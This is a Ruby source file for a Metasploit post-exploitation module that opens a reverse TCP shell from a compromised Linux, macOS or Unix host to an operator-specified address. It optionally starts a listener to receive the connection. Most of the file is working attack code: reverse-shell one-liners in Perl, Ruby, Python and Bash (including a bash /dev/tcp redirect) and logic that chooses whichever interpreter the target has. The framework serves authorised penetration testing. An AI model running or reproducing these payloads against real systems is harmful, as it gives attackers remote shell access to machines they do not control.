Path: blob/master/modules/post/multi/manage/system_session.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67def initialize(info = {})8super(9update_info(10info,11'Name' => 'Multi Manage System Remote TCP Shell Session',12'Description' => %q{13This module will create a Reverse TCP Shell on the target system14using the system's own scripting environments installed on the15target.16},17'License' => MSF_LICENSE,18'Author' => ['Carlos Perez <carlos_perez[at]darkoperator.com>'],19'Platform' => %w[linux osx unix],20'SessionTypes' => [ 'meterpreter', 'shell' ],21'Notes' => {22'Stability' => [CRASH_SAFE],23'SideEffects' => [IOC_IN_LOGS],24'Reliability' => []25}26)27)28register_options(29[30OptAddressLocal.new('LHOST',31[true, 'IP of host that will receive the connection from the payload.']),32OptInt.new('LPORT',33[false, 'Port for Payload to connect to.', 4433]),34OptBool.new('HANDLER',35[ true, 'Start an exploit/multi/handler to receive the connection', false]),36OptEnum.new('TYPE', [37true, 'Scripting environment on target to use for reverse shell',38'auto', ['auto', 'ruby', 'python', 'perl', 'bash']39])40]41)42end4344def run45create_multihand(datastore['LHOST'], datastore['LPORT']) if datastore['HANDLER']46lhost = datastore['LHOST']47lport = datastore['LPORT']48cmd = ''4950begin51case datastore['TYPE']52when /auto/i53cmd = auto_create_session(lhost, lport)54when /ruby/i55cmd = ruby_session(lhost, lport)56when /python/i57cmd = python_session(lhost, lport)58when /perl/i59cmd = perl_session(lhost, lport)60when /bash/i61cmd = bash_session(lhost, lport)62end63rescue StandardError => e64vprint_error(e.message)65end6667if !cmd.empty?68print_status("Executing reverse tcp shell to #{lhost} on port #{lport}")69cmd_exec("(#{cmd} &)")70end71end7273# Runs a reverse tcp shell with the scripting environment found74def auto_create_session(lhost, lport)75cmd = ''7677if cmd_exec('perl -v') =~ /Larry/78print_status('Perl was found on target')79cmd = perl_session(lhost, lport)80vprint_status("Running #{cmd}")8182elsif cmd_exec('ruby -v') =~ /revision/i83print_status('Ruby was found on target')84cmd = ruby_session(lhost, lport)85vprint_status("Running #{cmd}")8687elsif cmd_exec('python -V') =~ /Python 2\.(\d)/88print_status('Python was found on target')89cmd = python_session(lhost, lport)90vprint_status("Running #{cmd}")9192elsif cmd_exec('bash --version') =~ /GNU bash/93print_status('Bash was found on target')94cmd = bash_session(lhost, lport)95vprint_status("Running #{cmd}")96else97print_error('No scripting environment found with which to create a remote reverse TCP Shell with.')98end99100return cmd101end102103# Method for checking if a listner for a given IP and port is present104# will return true if a conflict exists and false if none is found105def check_for_listner(lhost, lport)106conflict = false107client.framework.jobs.each_value do |j|108next unless j.name =~ %r{ multi/handler}109110current_id = j.jid111current_lhost = j.ctx[0].datastore['LHOST']112current_lport = j.ctx[0].datastore['LPORT']113if (lhost == current_lhost) && (lport == current_lport.to_i)114print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")115conflict = true116end117end118return conflict119end120121# Starts a exploit/multi/handler session122def create_multihand(lhost, lport)123pay = client.framework.payloads.create('generic/shell_reverse_tcp')124pay.datastore['LHOST'] = lhost125pay.datastore['LPORT'] = lport126print_status('Starting exploit/multi/handler')127if !check_for_listner(lhost, lport)128# Set options for module129mul = client.framework.exploits.create('multi/handler')130mul.share_datastore(pay.datastore)131mul.datastore['WORKSPACE'] = client.workspace132mul.datastore['PAYLOAD'] = 'generic/shell_reverse_tcp'133mul.datastore['EXITFUNC'] = 'thread'134mul.datastore['ExitOnSession'] = false135# Validate module options136mul.options.validate(mul.datastore)137# Execute showing output138mul.exploit_simple(139'Payload' => mul.datastore['PAYLOAD'],140'LocalInput' => user_input,141'LocalOutput' => user_output,142'RunAsJob' => true143)144else145print_error('Could not start handler!')146print_error('A job is listening on the same Port')147end148end149150# Perl reverse TCP Shell151def perl_session(lhost, lport)152if cmd_exec('perl -v') =~ /Larry/153print_status('Perl reverse shell selected')154cmd = "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET " \155"(PeerAddr,\"#{lhost}:#{lport}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"156else157print_error('No scripting environment found for the selected type.')158cmd = ''159end160return cmd161end162163# Ruby reverse TCP Shell164def ruby_session(lhost, lport)165if cmd_exec('ruby -v') =~ /revision/i166print_status('Ruby reverse shell selected')167return "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"#{lhost}\",\"#{lport}\");" \168"while(cmd=c.gets);begin;IO.popen(cmd,\"r\"){|io|c.print io.read};rescue;end;end'"169else170print_error('No scripting environment found for the selected type.')171cmd = ''172end173return cmd174end175176# Python reverse TCP Shell177def python_session(lhost, lport)178if cmd_exec('python -V') =~ /Python 2\.(\d)/179print_status('Python reverse shell selected')180return "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET," \181"socket.SOCK_STREAM);s.connect((\"#{lhost}\",#{lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);" \182"os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"183else184print_error('No scripting environment found for the selected type.')185cmd = ''186end187return cmd188end189190# Bash reverse TCP Shell191def bash_session(lhost, lport)192if cmd_exec('bash --version') =~ /GNU bash/193print_status('Bash reverse shell selected')194return "bash -c 'nohup bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1'"195else196print_error('No scripting environment found for the selected type.')197cmd = ''198end199return cmd200end201end202203204